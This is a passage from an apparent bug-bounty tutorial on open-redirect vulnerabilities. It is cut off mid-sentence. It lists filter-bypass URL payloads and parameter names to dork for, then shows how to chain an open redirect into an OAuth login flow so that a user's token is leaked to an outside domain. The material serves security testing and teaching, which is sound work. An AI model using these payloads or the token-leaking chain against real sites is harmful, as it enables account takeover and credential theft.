

//theirsite@yoursite.com  
/yoursite.com  
https://yoursite.com%3F.theirsite.com/  
https://yoursite.com%2523.theirsite.com/  
https://yoursite?c=.theirsite.com/ (use # \ also)  
//%2F/yoursite.com  
///yoursite.com  
https://theirsite.computer/  
https://theirsite.com.mysite.com  
/%0D/yoursite.com (Also try %09, %00, %0a, %07)  
/%2F/yoururl.com  
/%5Cyoururl.com  
//google%E3%80%82com

Some common words I dork for on google to find vulnerable endpoints: (don't forget to test for upper & lower case!)

return, return\_url, rUrl, cancelUrl, url, redirect, follow, goto, returnTo, returnUrl, r\_url, history, goback, redirectTo, redirectUrl, redirUrl

Now let's take advantage of our findings. If you aren't familiar with how an OAuth login flow works I recommend checking out

<https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2>.

Typically the login page will look like this:

[https://www.target.com/login?client\\_id=123&redirect\\_url=/sosecure](https://www.target.com/login?client_id=123&redirect_url=/sosecure) and usually the redirect\_url will be whitelisted to only allow for **\*.target.com/\***. Spot the mistake?

Armed with an open url redirect on their website you can leak the token because as the redirect occurs the token is smuggled with the request.

The user is sent to

[https://www.target.com/login?client\\_id=123&redirect\\_url=https://www.target.com/redirect?redirect=1&url=https://www.zseano.com/](https://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.zseano.com/) and upon logging in will be redirected